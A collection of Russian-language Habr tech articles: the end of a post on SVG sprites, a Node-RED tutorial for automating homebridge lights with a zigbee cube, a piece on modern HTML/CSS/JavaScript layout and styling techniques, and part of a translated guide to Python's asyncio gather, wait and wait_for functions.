Единственный минус SVG перед шрифтовыми иконками: нельзя украшать иконки с помощью CSS, например, добавлять `text-shadow` или менять цвет. И очень большой плюс, что при отключенном сглаживании все линии в SVG будут ровные и четкие в отличае от шрифта.
P.S. SVG дает нам огромное поле для деятельности и на примере CSS спрайтов я в этом полностью убедился. Конечно, можно было обойтись сухими словами и сказать «сохраняйте SVG в относительных размерах», но у меня это вылилось в целый пост.
Спасибо за внимание. До новых встреч.
**UPD:** `::before` и `::after` это псевдоэлементы, а не псевдоклассы — простите, ошибся, поправил. Спасибо [psywalker](https://habrahabr.ru/users/psywalker/) вовремя подсказал.
**UPD:** А про "::" я и не вспомнил :( [Пруф](http://www.w3.org/TR/css3-selectors/#pseudo-classes) | https://habr.com/ru/post/141654/ | null | ru | null |
# Автоматизация homebridge с помощью Node-Red
На мой взгляд, одним из главных минусов homebridge является отсутсвие возможности создавать продвинутые сценарии. Вся автоматизация возлагается на домашний центр, которым может быть Ipad (подключенный к зарядке), Apple TV или HomePod. Не у всех эти устройства есть, вдобавок у HomeKit очень скудная автоматизация. Исправить данную ситуацию можно с помощью [Node-Red](https://nodered.org/). Статья рассчитана на пользователей, у которых уже [установлен и настроен](https://sprut.ai/client/article/86) homebridge.
Коротко: Node-RED — это инструмент для связи железа, API-интерфейсов и онлайн-сервисов с помощью выстраивания цепочек связей различных узлов (блоков).
**Определение на официальном сайте:**
> Node-RED is a programming tool for wiring together hardware devices, APIs and online services in new and interesting ways.
>
> It provides a browser-based editor that makes it easy to wire together flows using the wide range of nodes in the palette that can be deployed to its runtime in a single-click.
На Raspbian устанавливается так:
```
sudo apt-get install nodered
sudo systemctl enable nodered.service
sudo service nodered start
```
По умолчанию Node-Red работает на порту 1880.
Существует огромная [библиотека](https://flows.nodered.org/) модулей с наборами блоков различного функционала. Не обошли стороной и homebridge. Устанавливаем [node-red-contrib-homebridge-automation](https://github.com/NorthernMan54/node-red-contrib-homebridge-automation):
```
cd ~/.node-red
npm install node-red-contrib-homebridge-automation
sudo service nodered restart
```
Попробуем включить лампочку. Для этого перетащим на рабочую область блок *hb-control*, *function* (этот блок будет посылать команду включиться) и *inject* (в рамках этой статьи нужен только для ручной активации сценария). Первый раз для *hb-блоков* необхоимо указать **PIN** и обновить список устройств. После чего можно добавить нужные блоки:
Теперь по нажатию на кнопку в блоке *inject* должна загореться лампочка. По мимо *hb-contoll* есть так же блоки *hb-event, hb-status и hb-resume*. Подробное описание блоков можно найти в официальном [репозитории](https://github.com/NorthernMan54/node-red-contrib-homebridge-automation).
**Код блока function**
```
var ret_msg={};
ret_msg.payload = {};
ret_msg.payload.On = true;
return ret_msg;
```
Блок *function* создан для манипуляции данными с использованием возможностей языка JavaScript. Блок принимает на вход переменную *msg* вместе с параметром *payload*, по умолчанию большая часть блоков в Node-Red работает именно с параметром *payload*.
Стоит рассказать про блок *Debug*, с помощью него можно увидеть, выходные данные блоков, что бы понимать в чем ошибка, если ваша задумка не работает.
Теперь сделаем что нибудь интересное, например заставим свет менять состояние после поворота [MagicCube](https://xiaomi-smarthome.ru/aqara-cube-controller/) на 90 градусов. В прошлой [статье](https://habr.com/ru/post/462459/), я показывал как подружить zigbee устройства с homebridge. MagicCube, как и прочие zigbee устройства, после паринга появится в MQTT брокере.
Node-Red поддерживает MQTT протокол «из коробки». Добавляем блок MQTT, указываем адрес сервера и Topic кубика.
Кубик может передавать следующие состояния:
*shake, wakeup, fall, tap, slide, flip180, flip90, rotate\_left и rotate\_right*
Добавляем блок *switch*, чтобы отделить одно состояние от другого. Определим в *switch* условия *flip90*, *shake* и *tap*. Верхний выход соединим с *hb-status*, для получения текущего состояния лампочки. Блок *hb-status* соединим с блоком *Invert On Value* инвертирующим состояние, а его выход соединим с *hb-controll* и при повороте кубика лампочка будет менять состояние вкл/выкл. Должно получиться примерно так:
**Код Invert On Value**
```
var ret_msg=msg;
ret_msg.payload.On = !msg.payload.On;
return ret_msg;
```
Flow можно ипортировать от сюда:
**Flow**
```
[
{
"id": "f0f31eb6.22f16",
"type": "tab",
"label": "Flow 1",
"disabled": false,
"info": ""
},
{
"id": "e0f72465.9e4fb8",
"type": "mqtt in",
"z": "f0f31eb6.22f16",
"name": "",
"topic": "zigbee2mqtt/0x00158d00010f0528",
"qos": "2",
"datatype": "auto",
"broker": "8ec472b.e73e29",
"x": 160,
"y": 80,
"wires": [
[
"43f74679.730588"
]
]
},
{
"id": "8539109.d872ff",
"type": "debug",
"z": "f0f31eb6.22f16",
"name": "",
"active": true,
"tosidebar": true,
"console": false,
"tostatus": false,
"complete": "false",
"x": 670,
"y": 60,
"wires": []
},
{
"id": "c5db7c5b.399f4",
"type": "hb-status",
"z": "f0f31eb6.22f16",
"name": "Room1",
"Homebridge": "HomeBridge",
"Manufacturer": "YeeLight",
"Service": "Lightbulb",
"device": "HomeBridgeA1:23:AD:E3:CD:32YeeLightRoom100000043",
"conf": "7948a496.505c2c",
"x": 340,
"y": 180,
"wires": [
[
"9ef696d9.51a378"
]
]
},
{
"id": "43f74679.730588",
"type": "switch",
"z": "f0f31eb6.22f16",
"name": "CubeActions",
"property": "payload",
"propertyType": "msg",
"rules": [
{
"t": "cont",
"v": "flip90",
"vt": "str"
},
{
"t": "cont",
"v": "tap",
"vt": "str"
},
{
"t": "cont",
"v": "shake",
"vt": "str"
}
],
"checkall": "true",
"repair": false,
"outputs": 3,
"x": 150,
"y": 240,
"wires": [
[
"c5db7c5b.399f4"
],
[],
[]
]
},
{
"id": "f476dcba.a6511",
"type": "hb-control",
"z": "f0f31eb6.22f16",
"name": "Room1",
"Homebridge": "HomeBridge",
"Manufacturer": "YeeLight",
"Service": "Lightbulb",
"device": "HomeBridgeA1:23:AD:E3:CD:32YeeLightRoom100000043",
"conf": "7948a496.505c2c",
"x": 700,
"y": 180,
"wires": []
},
{
"id": "9ef696d9.51a378",
"type": "function",
"z": "f0f31eb6.22f16",
"name": "Invert On Value",
"func": "var ret_msg=msg;\nret_msg.payload.On = !msg.payload.On;\nreturn ret_msg;",
"outputs": 1,
"noerr": 0,
"x": 520,
"y": 180,
"wires": [
[
"f476dcba.a6511"
]
]
},
{
"id": "8ec472b.e73e29",
"type": "mqtt-broker",
"z": "",
"name": "mosquitto",
"broker": "127.0.0.1",
"port": "1883",
"clientid": "",
"usetls": false,
"compatmode": true,
"keepalive": "60",
"cleansession": true,
"birthTopic": "",
"birthQos": "0",
"birthPayload": "",
"closeTopic": "",
"closeQos": "0",
"closePayload": "",
"willTopic": "",
"willQos": "0",
"willPayload": ""
},
{
"id": "7948a496.505c2c",
"type": "hb-conf",
"z": "",
"username": "111-11-111"
}
]
```
Таким образом можно «лепить» из блоков сложнейшие схемы автоматизации. В [библиотеке](https://flows.nodered.org/) можно найти модули с наборами блоков под совершенно разные задачи, например для записи с камер видео наблюдения или работы с файлами.
**P.S. Мысли вслух:**Мне не дает покоя мысль о том, что как бы не развивались технологии, по прежнему многие очень далеки от банальной автоматизации рабочих и жизненных процессов с помощью программирования. Я очень надеюсь, что с появлением таких инструментов как [Node-Red](https://nodered.org/) или [Blockly](https://developers.google.com/blockly/), порог вхождения сильно уменьшится. Научившись, в том же Node-Red строить систему из кубиков, люди, возможно, будут добираться до блока *function* и с интересом учить JS, а дальше все произойдет само собой. | https://habr.com/ru/post/462775/ | null | ru | null |
# Полезные техники HTML, CSS и JavaScript
Техника – это способ справиться с заданием, и у нас, разработчиков и дизайнеров фронтэнда, этих способов бывает достаточно много. При это, будучи погруженными в рутинную работу, мы порой не всегда замечаем как стремительно меняется окружающая нас сфера. В период с 2002 по 2010 годы сообщество фронтэнд-разработчиков буквально покрывалось язвами избыточного кода и ресурсов, от которых страдали и работа сайтов, и удобство их использования. Чтобы с этим справиться, мы придумали уйму хаков, трюков и уловок под кодовым названием «техника». Мы по-прежнему продолжаем выполнять поставленные перед нами задания, просто используем не самые эффективные способы.
Оборачиваясь назад, отметим, что в последние несколько лет установились новые, лучшие, стандарты и способы их применения, позволяя нам создавать более продвинутые «техники». Этот новый мир, открытый перед нами, называется «modern web». Web 2.0, которым восхищались в свое время, сегодня для нас стал запутанным и застойным. С одной стороны нет сомнений в том, что подобная судьба постигнет и то, что мы называем «modern web». С другой — пока что мы можем использовать этот термин и злоупотреблять им сколько угодно, пока понимаем, что он означает.
В 2010 появился стандарт HTML5, обеспечивающий совершенно новую, полустандартизованную веб-среду. Такие браузеры, как Opera, Firefox, Chrome и Safari приняли нововведения, и их разработчики вышли за пределы реализации стандартов и изучения интерфейса программирования приложений. Чтобы представить себе, насколько автономны эти браузеры, можно ознакомиться с отличной наглядной демонстрацией поддержки HTML5 на [www.html5readiness.com](http://www.html5readiness.com).
Появилась возможность обходить сложности связанные с Internet Explorer, благодаря Google Chrome Frame. С тех пор, как Google ввел его в 2010 году, Google Chrome Frame стал популярнейшим дополнением для поддержки HTML5 в браузере Internet Explorer. Во всех версиях IE можно добавить Chrome Frame для чего достаточно добавить следующий -тэг в тэге нашего сайта.
Используя следующий код мы можем предложить пользователям IE, у которых еще нет этого дополнения, загрузить его с помощью JavaScript:
```
window.onload = function(){
CFInstall.check({
mode: "overlay",
destination: "http://www.yourdomain.com"
});
};
```
Возможно, вы помните, как приходилось придумывать кучу уловок для каждого конкретного браузера, чтобы ваш сайт в них хорошо отображался, создавать бесчисленные пустые элементы с порезанными изображениями, писать подробные и даже избыточные коды на JavaScript, чтобы обеспечить работу простейшего функционала. В каком-то смысле, сейчас мы мучаемся с теми же проблемами. Мы по-прежнему боремся за полный контроль, ищем лучшие инструменты для «приструнения» размещения, стиля и функционала, просто сегодня это уже происходит на другом уровне.

Инфографика с [www.html5readiness.com](http://www.html5readiness.com), иллюстрирующая поддержку браузерами свойств HTML5 и CSS3.
#### Расположение
##### Clearfix
Свойство float было введено еще в CSS 2.1, но так и не стало той панацеей, на которую мы надеялись. Одна из основных проблем — поддержание размеров родительского элемента при плавающем дочернем. Чтобы решить ее, был придуман хак, известный как clearfix.
Возьмем следующий HTML:
```
...
...
```
Хак был написан [Николасом Галлахером](http://nicolasgallagher.com/micro-clearfix-hack/):
```
.clearfix:before,
.clearfix:after {
content: " ";
display: table;
}
.clearfix:after {
clear: both;
}
.clearfix {
*zoom: 1;
}
```
*>> Если для разработки своих проектов вы пользуетесь HTML5Boilerplate, то эта техника уже интегрирована в среду.*
##### Box-sizing
Разработчики годами спорят о том, какая модель боксов лучше. Противостояние режимов Quirks и Standards на самом деле заключается в одном вопросе, должны ли размеры элемента меняться после установки при применении границ и заполнения, или нет. Теперь все в основном сходятся на том, что имеет смысл считать границы и заполнение частью доступного пространства внутри элемента, а не добавлять их к его ширине и высоте.
Однако с широким распространением хака по изменению размера боксов этот спор утратил свою актуальность. Теперь браузер будет идти у вас на поводу, а не наоборот.
Эту универсальную технику, разработанную [Крисом Койером](http://css-tricks.com/box-sizing/) и [Полом Айришем](http://paulirish.com/2012/box-sizing-border-box-ftw/), можно применить следующим образом:
```
* {
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
```
*>> Использование селектора\* в CSS многие критикуют за возможное ухудшение производительности. На самом деле снижение довольно несерьезное и его можно не учитывать, если конечно вы не гипероптимизируете ваш сайт/приложения. С помощью функции border-box браузер добавит заполнение и границы внутрь доступного пространства. Режим ‘Standards Mode’ можно использовать, установив размер боксов равным размеру содержания.*
##### Multi-columns
На отображение текстовой информации в Интернете очень повлияли традиции письма и печати, только вот незадача: в данном вопросе он все равно застрял на стадии пергамента. Некоторые проблемы могут быть решены после внедрения долгожданных стандартов Paged-Media и CSS Regions. Хотя надо сказать, что первые шаги с расположениям «как из журнала» были сделаны еще когда браузеры начали внедрять мультиколонки CSS. Код, который потребуется для создания такого эффекта, довольно прост:
```
p {
-webkit-column-count: 2;
-moz-column-count: 2;
column-count: 2;
}
```
##### Расчет размера
Рассчитывать размеры элементов бывает непросто. Раньше у нас не было никаких инструментов для подсчета используемых в верстке единиц, не говоря уже о подсчете смешанных единиц, но все изменилось благодаря calc. Она создает заполнение, которое не влияет на оригинальную ширину элементов и не использует ничего типа box-sizing:border-box; до недавнего времени это возможно было только через добавление дополнительных элементов.
```
.padded {
margin: 0 auto;
position: relative;
width: -webkit-calc(100% - (20px * 2));
width: -moz-calc(100% - (20px * 2));
width: calc(100% - (20px *2));
}
```
*>> calc() заботится о правильном расчете ширины на основании ширины материнского элемента минус определенное заполнение в 20px. Я умножил это на два для каждой стороны элемента 2, центрировал элемент с помощью относительного поцизионирования и установил автоматические левую и правую рамки.*
#### Стили
##### Прозрачность
Оформление элемента в нужном стиле всегда зависело от тех инструментов, которые были доступны в CSS. Прозрачность — один из первых поддерживаемых свойств, который вы встретили бы еще в начале-середине двухтысячных.
С появлением HTML5 и более эффективной стандартизации, браузеры начали реализовывать свойство непрозрачности по умолчанию, появилась поддержка альфа-канала как в новом стандарте [Color Module](http://www.w3.org/TR/css3-color/). В него включены и руководства по моделям RGBA и HSLA.
```
a {
color: rgba(0,255,0,0.5);
background: rgba(0,0,255,0.05);
border: rgba(255,0,0,0.5);
}
```
*>> Цветовые модели RGBA и HSLA можно использовать всегда при наличии значений HEX. Там же вы найдете длинный список интересных цветов и определенными именами, которые можно посмотреть в этом стандарте. Они пригодятся для создания динамичного смешения элементов.*
##### Фильтры
Работать с фильтрами в CSS очень интересно. Иметь возможность динамически изменять вид и ощущение элементов на странице без каких-либо дополнений со стороны — это потрясающе, к тому же, так удастся значительно сократить время, проведенное с Photoshop.
```
```
```
img {
-webkit-filter: grayscale(100%);
}
```
*>> Фильтры CSS пока поддерживаются только в браузерах на движке webkit, поэтому пока лучше использовать их как дополнение, а не основной инструмент. Дополнительно о фильтрах можно почитать [здесь](https://dvcs.w3.org/hg/FXTF/raw-file/tip/filters/index.html).*

 | https://habr.com/ru/post/171699/ | null | ru | null |
# Полное руководство по модулю asyncio в Python. Часть 5
Привет, Хабр! Публикуем пятую часть ([первая](https://habr.com/ru/company/wunderfund/blog/700474/), [вторая](https://habr.com/ru/company/wunderfund/blog/701982/), [третья](https://habr.com/ru/company/wunderfund/blog/702484/), [четвёртая](https://habr.com/ru/company/wunderfund/blog/707558/)) перевода руководства по модулю `asyncio` в Python. Здесь представлены разделы оригинала с №10 по №13.
### 10. Конкурентный запуск нескольких корутин
Сила `asyncio` в том, что этот модуль позволяет запускать множество корутин в конкурентном режиме.
Эти корутины могут быть созданы в виде группы и сохранены, а потом их можно, все вместе, в одно и то же время, запустить.
Реализовать такой сценарий работы можно, воспользовавшись функцией `asyncio.gather()`.
Познакомимся с этой функцией.
#### 10.1. Функция asyncio.gather()
Функция [asyncio.gather()](https://docs.python.org/3/library/asyncio-task.html#asyncio.gather) позволяет вызывающей стороне группировать объекты, допускающие ожидание.Эти объекты, после группировки, можно запустить в конкурентном режиме. Кроме того — можно организовать ожидание их выполнения. Их выполнение можно и отменить.
`awaitable asyncio.gather(*aws, return_exceptions=False)`
> *Запускает в конкурентном режиме объекты, допускающие ожидание, находящиеся в группе объектов aws.*
>
> [*Coroutines and Tasks*](https://docs.python.org/3/library/asyncio-task.html)
>
>
Эта функция пригодится и для группировки, и для выполнения множества корутин или задач:
```
...
выполнение коллекции объектов, допускающих ожидание
results = await asyncio.gather(coro1(), asyncio.create_task(coro2()))
```
Функцией `asyncio.gather()` можно воспользоваться в ситуации, когда есть возможность заранее создать множество задач или корутин, которые потом нужно одновременно запустить и, прежде чем продолжать работу, нужно дождаться завершения работы каждой из них.
Это — вполне реальная ситуация в том случае, если требуется получить результат от множества похожих задач, например — от одной и той же задачи или корутины, разные экземпляры которой обрабатывают разные данные.
Объекты, допускающие ожидание, можно выполнить в конкурентном режиме. После того, как они возвратят результаты, которых ожидает основная программа — она сможет продолжить работу.
Применение функции `gather()` даёт больше возможностей, чем обычное ожидание завершения работы задач.
Она позволяет рассматривать группу объектов, допускающих ожидание, как один такой объект.
Вот какие возможности это открывает:
* Запуск группы объектов, допускающих ожидание, и ожидание завершения их работы с использованием выражения `await`.
* Получение результатов от всех сгруппированных объектов, допускающих ожидание, путём вызова в нужное время метода `result()`.
* Выполнение группы объектов, допускающих ожидание, может быть отменено с помощью метода `cancel()`.
* Проверка того, завершена ли работа всех сгруппированных объектов, допускающих ожидание, может быть выполнена с помощью метода `done()`.
* Выполнить функции-коллбэки можно только тогда, когда все задачи в группе завершат работу.
И это — далеко не все возможности функции `gather()`.
#### 10.2. Как пользоваться функцией asyncio.gather()
Здесь мы подробнее поговорим о способах использования функции `asyncio.gather()`.
Эта функция, в качестве аргументов, принимает один объект, допускающий ожидание, или несколько таких объектов.
Вспомните о том, что в роли объекта, допускающего ожидание, может выступать корутина, объект `Future`, или объект `Task`.
В результате — вызывать функцию `gather()` можно, передавая ей следующие сущности:
* Множество задач.
* Множество корутин.
* Смешанный набор объектов, некоторые из которых являются задачами, а некоторые — корутинами.
Например:
```
...
выполнение нескольких корутин
asyncio.gather(coro1(), coro2())
```
Если функции `gather()` передали объекты `Task` — они уже будут выполняться, так как планирование выполнения таких объектов — это часть процесса их создания.
Эта функция принимает объекты, допускающие ожидание, в виде позиционных аргументов.
Нельзя создать список или коллекцию таких объектов и передать их этой функции, так как это приведёт к ошибке:
```
...
функции нельзя передать напрямую список объектов, допускающих ожидание
asyncio.gather([coro1(), coro2()])
```
Список объектов, допускающих ожидание, можно передать этой функции в том случае, если он сначала распакован и представлен в виде набора его элементов с использованием оператора «звёздочка» — `*`:
```
...
вызов функции с передачей ей распакованного списка объектов, допускающих ожидание
asyncio.gather(*[coro1(), coro2()])
```
Если этой функции передают корутины — они будут автоматически обёрнуты в объекты `Task`.
Функция `gather()` не является блокирующей. Она, вместо блокировки выполнения кода, возвращает объект [asyncio.Future](https://docs.python.org/3/library/asyncio-future.html#asyncio.Future), который представляет группу объектов, допускающих ожидание.
Например:
```
...
получение объекта Future, который представляет несколько объектов, допускающих ожидание
group = asyncio.gather(coro1(), coro2())
```
После того, как объект `Future` будет создан, его выполнение в цикле событий планируется автоматически.
Объект, допускающий ожидание, представляющий группу объектов, и все объекты в группе, будут выполнены, как только представится такая возможность.
Это значит, что если вызывающая сторона больше ничего не делает — группа объектов, допускающих ожидание, выполнение которых запланировано, будет запущена (исходя из предположения о том, что вызывающая сторона приостанавливает своё выполнение).
Это, кроме того, значит и то, что нам не нужно ожидать выполнения объекта `Future`, возвращённого функцией `gather()`:
```
...
получение объекта Future, который представляет несколько объектов, допускающих ожидание
group = asyncio.gather(coro1(), coro2())
приостановка работы и ожидание в течение некоторого времени, чтобы дать группе объектов возможность выполниться
await asyncio.sleep(10)
```
Можно подождать выполнения возвращённого объекта `Future`, что приведёт к ожиданию завершения выполнения всех объектов в группе:
```
...
выполнение группы объектов, допускающих ожидание
await group
```
После ожидания объекта `Future`, возвращённого функцией `gather()`, в нашем распоряжении окажется список значений, возвращаемых объектами, допускающими ожидание.
Если эти объекты не возвращают значения, в списке окажется возвращаемое значение, используемое по умолчанию — `None`.
Например:
```
...
выполнение группы объектов, допускающих ожидание, и получение возвращаемых значений
results = await group
```
Чаще вышеописанные операции оформляют в виде одной строки кода:
```
...
однострочный вариант запуска задач и получения результатов
results = await asyncio.gather(coro1(), coro2())
```
#### 10.3. Пример использования функции gather() при работе со списком из нескольких корутин
При работе с группами корутин распространён такой подход: заранее создают несколько корутин, а позже передают их функции `gather()`.
Это позволяет программе подготовить задачи, которые нужно выполнить в конкурентном режиме, а затем инициировать их конкурентное выполнение и подождать их завершения.
Несколько корутин можно собрать в единый список или вручную, или используя механизм спискового включения:
```
...
создание нескольких корутин
coros = [task_coro(i) for i in range(10)]
```
После этого можно воспользоваться функцией `gather()`, обработав с её помощью все корутины из списка.
Список, как уже говорилось, нельзя напрямую передать функции `gather()`, так как это приведёт к возникновению ошибки.
Вместо этого данная функция нуждается в том, чтобы каждый объект, допускающий ожидание, был бы передан ей в качестве отдельного позиционного аргумента.
Добиться этого можно, распаковав список, передаваемый функции. Сделать это можно с помощью оператора «звёздочка» — `*`, который выполнит все необходимые действия:
```
...
выполнение задач
await asyncio.gather(*coros)
```
Если собрать всё это вместе, то у нас получится пример, демонстрирующий запуск списка заранее подготовленных корутин с использованием функции `gather()`:
```
# SuperFastPython.com
# пример запуска с помощью gather() множества корутин, находящихся в списке
import asyncio
# корутина, используемая для создания задач
async def task_coro(value):
# вывод сообщения
print(f'>task {value} executing')
# приостановка работы на некоторое время
await asyncio.sleep(1)
# корутина, используемая в роли точки входа в программу
async def main():
# вывод сообщения
print('main starting')
# создание множества корутин
coros = [task_coro(i) for i in range(10)]
# выполнение задач
await asyncio.gather(*coros)
# вывод сообщения
print('main done')
# запуск asyncio-программы
asyncio.run(main())
```
При выполнении этого примера запускается корутина `main()`, которая является точкой входа в программу. Затем эта корутина создаёт список из 10 объектов корутин, используя механизм спискового включения.
Этот список передаётся функции `gather()`, его, с помощью оператора «звёздочка», распаковывают, представляя в виде 10 отдельных значений.
Корутина `main()` ожидает выполнения объекта `Future`, возвращённого после вызова функции `gather()`. Выполнение программы приостанавливается, она ждёт завершения выполнения всех запланированных корутин.
Корутины выполняются в тот момент, когда у них появляется такая возможность. Каждая из них выводит уникальное сообщение и, перед завершением работы, «засыпает».
Только после того, как все корутины из группы завершатся, корутина `main()` возобновляет работу и выводит итоговое сообщение.
Этот пример демонстрирует подготовку коллекции корутин и передачу их, в виде отдельных аргументов, функции `gather()`.
```
main starting
>task 0 executing
>task 1 executing
>task 2 executing
>task 3 executing
>task 4 executing
>task 5 executing
>task 6 executing
>task 7 executing
>task 8 executing
>task 9 executing
main done
```
Подробности о функции `gather()` можно найти [здесь](https://superfastpython.com/asyncio-gather/).
Теперь поговорим о том, как организовать ожидание выполнения некоего условия для группы asyncio-задач.
### 11. Ожидание выполнения некоего условия для коллекции задач
Функция `asyncio.wait()` позволяет организовать ожидание выполнения некоего условия для нескольких asyncio-задач.
При ожидании можно ориентироваться на различные условия. Это может быть завершение выполнения всех задач, завершение выполнения одной из задач, аварийное завершение одной из задач с выдачей исключения.
Познакомимся с этой функцией поближе.
#### 11.1. Функция asyncio.wait()
Функция [asyncio.wait()](https://docs.python.org/3/library/asyncio-task.html#asyncio.wait) может использоваться для организации ожидания завершения коллекции asyncio-задач.
Вспомните о том, что asyncio-задача — это экземпляр класса `asyncio.Task`, который применяется для оборачивания корутин. Это позволяет независимо планировать выполнение корутин и выполнять их. А экземпляр класса `Task` даёт нам средства для работы с задачей — для запрашивания сведений о её состоянии и для получения результатов её работы.
Подробности об asyncio-задачах можно найти [здесь](https://superfastpython.com/asyncio-task).
Поговорим об использовании функции `asyncio.wait()`.
#### 11.2. Как пользоваться функцией asyncio.wait()
Функция `asyncio.wait()` принимает коллекции объектов, допускающих ожидание. Обычно это — объекты `Task`.
Коллекция может быть представлена списком, словарём или множеством, которые содержат заранее созданные объекты задач. Создать их можно, например, пользуясь функцией `asyncio.create_task()` и механизмом спискового включения:
```
...
создание множества задач
tasks = [asyncio.create_task(task_coro(i)) for i in range(10)]
```
Функция `asyncio.wait()` не завершит работу до тех пор, пока в применении к переданной ей коллекции задач не будет выполнено некое условие.
По умолчанию это условие заключается в том, чтобы выполнение всех задач было бы завершено.
Функция `wait()` возвращает кортеж, включающий в себя два множества. Первое множество содержит все объекты задач, соответствующие условию. Второе содержит все остальные объекты задач, то есть те, которые условию не соответствуют.
Эти множества называют множеством завершённых (done) задач и множеством незавершённых (pending) задач:
```
...
ожидание завершения всех задач
done, pending = await asyncio.wait(tasks)
```
Функция `asyncio.wait()` — это, с технической точки зрения — функция корутины, которая возвращает корутину.
Это позволяет организовать ожидание корутины с последующим получением кортежа множеств:
```
...
создание корутины, выполнения которой нужно дождаться
wait_coro = asyncio.wait(tasks)
ожидание выполнения корутины с помощью await
tuple = await wait_coro
```
Условие, которое ожидает функция, можно задать с помощью аргумента `return_when`, который по умолчанию установлен в значение `asyncio.ALL_COMPLETED`. Это значение можно передать функции и в явном виде:
```
...
ожидание завершения всех задач
done, pending = await asyncio.wait(tasks, return_when=asyncio.ALL_COMPLETED)
```
Используя функцию `asyncio.wait()` можно настроить её и так, чтобы она завершалась бы при завершении одной из переданных ей задач. Делается это путём установки аргумента `return_when` в значение `FIRST_COMPLETED`:
```
...
ожидание завершения одной из задач
done, pending = await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED)
```
Первая завершённая задача при таком подходе попадает в группу завершённых задач, а выполнение остальных задач при этом не отменяется, они продолжают выполняться в конкурентном режиме.
Функция `asyncio.wait()` позволяет дождаться первого сбоя задачи с выдачей исключения. Это условие задаётся путём передачи этой функции аргумента `return_when` со значением `FIRST_EXCEPTION`:
```
...
ожидание первой сбойной задачи
done, pending = await asyncio.wait(tasks, return_when=asyncio.FIRST_EXCEPTION)
```
В данном случае множество завершённых задач будет содержать первую задачу, которая дала сбой и вызвала исключение. Если же сбой не дала ни одна задача — множество завершённых задач будет включать в себя все задачи, а возврат из `wait()` произойдёт только после завершения работы всех задач.
Указать то, как долго мы хотим ждать выполнения заданного условия, можно с помощью аргумента `timeout`, который содержит тайм-аут, выраженный в секундах.
Если заданный промежуток времени истечёт до выполнения условия, возвращается кортеж задач, содержащий подмножество задач, соответствующих условию на момент возврата. Например — это может быть подмножество завершённых задач в том случае, если условием ожидания является завершение всех задач.
Например:
```
...
ожидание завершения всех задач с тайм-аутом
done, pending = await asyncio.wait(tasks, timeout=3)
```
Если время выйдет до того, как будет выполнено условие, какого-либо исключения выдано не будет, а задачи, не соответствующие условию, не будут отменены.
Теперь, когда мы немного разобрались с функцией `asyncio.wait()`, посмотрим на рабочий пример её применения.
#### 11.3. Пример организации ожидания выполнения некоего условия для нескольких задач
Исследуем ожидание завершения выполнения нескольких задач с использованием функции `asyncio.wait()`.
В этом примере мы определим простую корутину, которая будет использоваться для создания задач. Эта корутина генерирует случайное значение, ненадолго приостанавливается и выводит сообщение со сгенерированным ей значением.
Главная корутина создаёт на основе этой корутины несколько задач с использованием механизма спискового включения. После этого организуется ожидание выполнения всех этих задач.
Вот полный код примера:
```
# SuperFastPython.com
# пример ожидания завершения всех задач
from random import random
import asyncio
# корутина, которая будет выполняться в новой задаче
async def task_coro(arg):
# генерирование случайного значения в диапазоне между 0 и 1
value = random()
# блокировка на некоторое время
await asyncio.sleep(value)
# вывод значения
print(f'>task {arg} done with {value}')
# главная корутина
async def main():
# создание нескольких задач
tasks = [asyncio.create_task(task_coro(i)) for i in range(10)]
# ожидание завершения выполнения всех задач
done,pending = await asyncio.wait(tasks)
# вывод результатов
print('All done')
# запуск asyncio-программы
asyncio.run(main())
```
При запуске этого примера сначала создаётся корутина `main()`, которая используется как точка входа в asyncio-программу.
Затем эта корутина, пользуясь механизмом спискового включения, создаёт список из 10 задач. Каждой из этих задач передаётся уникальный аргумент от 0 до 9.
Потом корутина `main()` приостанавливается и ожидает завершения выполнения всех задач.
Задачи выполняются. Каждая из них генерирует случайное значение, на некоторое время «засыпает», а после этого выводит сгенерированное значение.
После того, как все задачи завершатся, корутина `main()` возобновляет работу и выводит итоговое сообщение.
В этом примере показано то, как функцию `wait()` можно использоваться для организации ожидания завершения коллекции задач.
Это, вероятно, тот самый сценарий её использования, который встречается чаще всего.
Обратите внимание на то, что результаты выполнения этого кода каждый раз будут разными. Это так из-за того, что в нём используется генератор случайных чисел.
```
>task 5 done with 0.0591009105682192
>task 8 done with 0.10453715687017351
>task 0 done with 0.15462838864295925
>task 6 done with 0.4103492027393125
>task 9 done with 0.45567100006991623
>task 2 done with 0.6984682905809402
>task 7 done with 0.7785363531316224
>task 3 done with 0.827386088873161
>task 4 done with 0.9481344994700972
>task 1 done with 0.9577302665040541
All done
```
[Вот](https://superfastpython.com/asyncio-wait/) — учебное руководство, в котором можно узнать подробности о функции `wait()`.
Наша следующая тема — организация ожидания выполнения отдельной корутины с указанием лимита времени.
### 12. Ожидание выполнения корутины с указанием лимита времени
Можно организовать ожидание завершения выполнения asyncio-задачи или корутины с указанием лимита времени. Делается это с помощью функции `asyncio.wait_for()`.
Если время истечёт до завершения задачи — она отменяется.
#### 12.1 Функция asyncio.wait\_for()
Функция `asyncio.wait_for()` позволяет вызывающей стороне ожидать завершения выполнения asyncio-задачи или корутины с указанием тайм-аута.
Если тайм-аут не задан — эта функция будет ожидать завершения задачи.
Если тайм-аут задан и время истекло до завершения выполнения задачи — задача отменяется.
`coroutine asyncio.wait_for(aw, timeout)`
> *Ожидает завершения выполнения объекта aw, допускающего ожидание, учитывая заданный тайм-аут timeout.*
>
> [*Coroutines and Tasks*](https://docs.python.org/3/library/asyncio-task.html)
>
>
Эта функция позволяет вызывающей стороне и формулировать свои ожидания относительно того, как долго она готова ждать завершения задачи, и принудительно завершать задачу в том случае, если вышло время, отведённое на её выполнение.
Теперь, когда мы уже кое-что знаем о функции `asyncio.wait_for()` — поговорим о том, как ей пользоваться.
#### 12.2. Как пользоваться функцией asyncio.wait\_for()
Функция [asyncio.wait\_for()](https://docs.python.org/3/library/asyncio-task.html#asyncio.wait_for) принимает объект, допускающий ожидание, и тайм-аут.
Объект может быть представлен корутиной или задачей.
Значение, представляющее тайм-аут, обязательно должно быть передано функции. Если временное ограничение не задаётся — её аргумент `timeout` нужно установить в значение `None`. Если ограничение задаётся — это может быть целое число или число с плавающей запятой, представляющее количество секунд.
Функция `wait_for()` возвращает корутину, которая не выполняется до тех пор, пока вызывающая сторона не использует, явным образом, выражение `await` для организации ожидания её выполнения, или до тех пор, пока её выполнение не будет запланировано в виде задачи.
Например:
```
...
ожидание завершения задачи
await asyncio.wait_for(coro, timeout=10)
```
Если этой функции предали корутину — она, при выполнении корутины `wait_for()`, будет преобразована в задачу.
